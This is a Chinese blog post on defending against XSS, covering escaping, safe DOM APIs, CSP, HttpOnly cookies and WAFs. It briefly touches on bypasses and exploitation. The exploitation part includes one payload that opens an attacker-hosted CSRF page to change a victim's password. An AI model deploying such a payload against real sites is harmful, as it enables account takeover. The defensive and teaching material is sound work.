很久之前的隨筆講過XSS的編碼繞過的一些內容
本次側重整理一下常見的防御思路,順便補充一些針對性的繞過思路以及關於XSS個人想到的一些有趣的事情
開篇之前,先看一下XSS介紹(包括mXSS、uXSS、blind XSS):
https://blog.csdn.net/Perpetual_Blue/article/details/109643465
https://blog.51cto.com/14149641/2557871
0x01防御
首先需要明確的一點是,XSS的防御檢測一定不能只在前端進行(但不能不做),風險很大,還需要在后端同時進行,這是根本。前端與后端防御缺一不可
想防御,就要先清楚一個XSS的攻擊流程是怎樣的?
整理一下這個問題的思路:
類型 |
惡意代碼存放點 |
由誰取得惡意代碼並插入 |
存儲型 XSS |
后端數據庫 |
HTML |
反射型 XSS |
URL |
HTML |
DOM 型 XSS |
后端數據庫/前端存儲/URL |
前端 JavaScript |
存儲型 XSS(常見於發帖、評論、私信等功能點) 的攻擊步驟:
- 攻擊者將惡意代碼提交到目標網站的數據庫中
- 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器
- 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行
- 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作
反射型 XSS (常見於需要通過URL傳遞參數的功能點如搜索、跳轉,需要被害者手動點擊觸發)的攻擊步驟:
- 攻擊者構造出特殊的 URL,其中包含惡意代碼
- 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器
- 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行
- 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作
DOM 型 XSS 的攻擊步驟:
- 攻擊者構造出特殊的 URL,其中包含惡意代碼
- 用戶打開帶有惡意代碼的 URL
- 用戶瀏覽器接收到響應后解析執行,前端 JavaScript 取出 URL 中的惡意代碼並執行
- 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作
根據整個流程來看,無論是什么類型的XSS都客觀存在共通點:攻擊者提交的惡意代碼可以被識別、執行並造成危害
於是產生了幾種思路:
1.從用戶輸入的角度過濾
2.從防止惡意代碼執行的角度過濾
先來說第一種,從輸入側過濾
正如前文所說,對用戶輸入的檢測,必須要有后端檢測,因為只是前端檢測很輕松就能繞過了,基本上形同虛設
黑名單,是過濾不干凈的,靠封鎖很難,因為師傅們總能整出點新花樣
推薦使用白名單,來保留部分允許的標簽和屬性
然后,可以在后端寫入數據庫之前來一次過濾,把過濾后的內容返回給前端
但是這里有一個問題,返回的內容不方便判斷要輸出到哪里,可能輸出到HTML標簽,可能輸出到HTML屬性、可能輸出到script標簽、可能輸出到事件、可能輸出到CSS中、可能輸出到地址URL。。。。。。
前端不同位置,不同功能處的編碼要求不同,過濾方法也不盡相同(白名單也好,編碼轉義也可能有不同的好幾種寫法),而且可能會引起顯示亂碼等問題,非常復雜
除非是一些固定格式的,比如電話號之類的,其他都不推薦在輸入側防御
所以思路轉為干脆防止HTML中出現注入
或者防止JS執行時,執行了惡意代碼,這樣可以把XSS的危害無效化
於是再來說第二種,從防止HTML中出現注入及防止惡意代碼執行的過濾
(1)存儲型與反射型XSS
這兩者都與后台發生交互,即從服務端取出惡意代碼后插入到響應的HTML中了,並且被執行
常見方式:要么使用純前端渲染,把代碼和數據分離
要么對HTML進行充分的轉義
純前端渲染的過程:
- 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
- 然后瀏覽器執行 HTML 中的 JavaScript。
- JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。
在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了(但需要注意DOM型XSS,前端渲染防御對其無效,例如 onload
事件和 href
中的 javascript:xxx
等)
問題是,純前端渲染對於系統性能要求很高,不是所有系統都適用的,大多數還是需要面臨HTML拼接的問題,所以我們嘗試第二種辦法,轉義HTML
常用的一些模板引擎會采取簡單的轉義規則,比如把& < > “ ` / 等字符轉義,可以說是能起到一些作用,但是並不完善
XSS 安全漏洞 |
簡單轉義是否有防護作用 |
HTML 標簽文字內容 |
有 |
HTML 屬性值 |
有 |
CSS 內聯樣式 |
無 |
內聯 JavaScript |
無 |
內聯 JSON |
無 |
跳轉鏈接 |
無 |
所以要使用更加完善仔細的轉義策略,比如一些語言專有的轉義庫,如Java中的org.owasp.encoder
(2)DOM型XSS
DOM型XSS的出現,鍋要由前端JS背了,代碼本身不嚴謹,將不可信代碼執行了
在使用 .innerHTML
、.outerHTML
、document.write()
時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent
、.setAttribute()
等
如果用 Vue/React 技術棧,並且不使用 v-html
/dangerouslySetInnerHTML
功能,就在前端 render 階段避免 innerHTML
、outerHTML
的 XSS 隱患。
DOM 中的內聯事件監聽器,如 location
、onclick
、onerror
、onload
、onmouseover
等,<a>
標簽的 href
屬性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免
例如:
<!-- 內聯事件監聽器中包含惡意代碼 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
<!-- 鏈接內包含惡意代碼 -->
<a href="UNTRUSTED">1</a>
<script>
// setTimeout()/setInterval() 中調用惡意代碼
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 調用惡意代碼
location.href = 'UNTRUSTED'
// eval() 中調用惡意代碼
eval("UNTRUSTED")
</script>
如果完全依賴可愛的小開發,可能要累死
接下來談談一些補充的通用辦法
1.CSP(Content Security Policy)
內容安全策略
這東西相當於一種白名單制度
兩種設置方法:一種是通過 HTTP 頭信息的Content-Security-Policy
的字段,另一種是通過網頁的<meta>標簽
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
嚴格的 CSP 在 XSS 的防范中可以起到以下的作用:
- 禁止加載外域代碼,防止復雜的攻擊邏輯
- 禁止外域提交,網站被攻擊后,用戶的數據不會泄露到外域
- 禁止內聯腳本執行(規則較嚴格,目前發現 GitHub 使用)
- 禁止未授權的腳本執行(新特性,Google Map 移動版在使用)
- 合理使用上報可以及時發現 XSS,利於盡快修復問題
參考文章:http://www.ruanyifeng.com/blog/2016/09/csp.html
2. X-Xss-Protection
HTTP X-XSS-Protection 響應頭是 Internet Explorer,Chrome 和 Safari 的一個功能,當檢測到跨站腳本攻擊 (XSS)時,瀏覽器將停止加載頁面。它有四種取值:
(1)X-XSS-Protection: 0:禁止瀏覽器啟用 XSS 過濾
(2)X-XSS-Protection: 1:啟用瀏覽器啟用 XSS 過濾(通常瀏覽器默認的值)
(3)X-XSS-Protection: 1;mode=block:啟用 XSS 過濾。如果檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面加載
(4)X-XSS-Protection: 1; report=<reporting-uri>:啟用 XSS 過濾。如果檢測到跨站腳本攻擊,瀏覽器將清除頁面並使用 CSP report-uri 指令的功能發送違規報告(reporting-uri 就是發送違規報告的 URL 站點)
默認設置為(3)
3.HTTP-only
cookie中設置此選項,禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此 Cookie
4.上WAF
軟WAF、硬WAF、雲WAF,幫你攔一攔
總之,防御的思想為:
(1)利用好各個模板引擎的轉義功能
(2)避免內聯事件,例如onLoad="onload('{{data}}')"
、onClick="go('{{action}}')"
(3)避免拼接HTML,前端采用拼接 HTML 的方法比較危險,如果框架允許,使用 createElement
、setAttribute
之類的方法實現。或者采用比較成熟的渲染框架,如 Vue/React 等。
(4)增加攻擊難度,使用上文的通用手段,降低被攻擊的后果
0x02繞過
上一點中談了防御,如果完全像我說的那樣從代碼層面嚴格審查,是很難利用XSS的,繞過也無從談起
如果能繞過的,一定是防御不完全
部分思路可以參考下圖:
關於編碼原則的部分,我在前面的隨筆寫過,可以翻翻
一些payload。。。篇幅原因就不寫了
可以參考這兩篇文章,值得仔細閱讀:
https://www.freebuf.com/articles/web/226719.html(轉自外網)
https://www.freebuf.com/articles/web/262013.html
0x03利用與危害
最后說說XSS的利用和危害
有一位表哥,面試HW的時候,遇到一位小伙汁,問他XSS的危害是什么?
答:能彈窗
危害請見下圖:
圖片詳解請參考:
https://zhuanlan.zhihu.com/p/299678160
https://zhuanlan.zhihu.com/p/61773197
舉...個例子
1.CSRF+XSS
構造csrf的poc,同時構造XSS代碼(例如<script src="x" onerror=javascript:window.open("http://192.168.25.203/csrf.html")></script>這種)
對方一點擊訪問,通過存儲型XSS,實現打開頁面自動調用CSRF,實現對密碼的篡改
或者通過CSRF ,用POST腳本提交請求,結合selfxss(自己輸入payload,自己觸發,只有自己能看到)觸發漏洞
2.暫時沒想好寫點啥
先寫到這,下一篇文章繼續寫
關於XSS的利用,可寫的還有很多很多......
抽時間繼續寫
可能會單獨開一篇
閃電五連鞭,缺一鞭都不行,沒有勁兒
參考文章:
https://www.freebuf.com/vuls/225096.html
https://www.bilibili.com/read/cv5322293/
https://xz.aliyun.com/t/8459
https://zhuanlan.zhihu.com/p/299678160
https://www.cnblogs.com/vege/p/12655830.html
https://segmentfault.com/a/1190000022678120
https://www.freebuf.com/articles/web/244524.html
https://cloud.tencent.com/developer/article/1621427
https://segmentfault.com/a/1190000016551188
未經允許,禁止轉載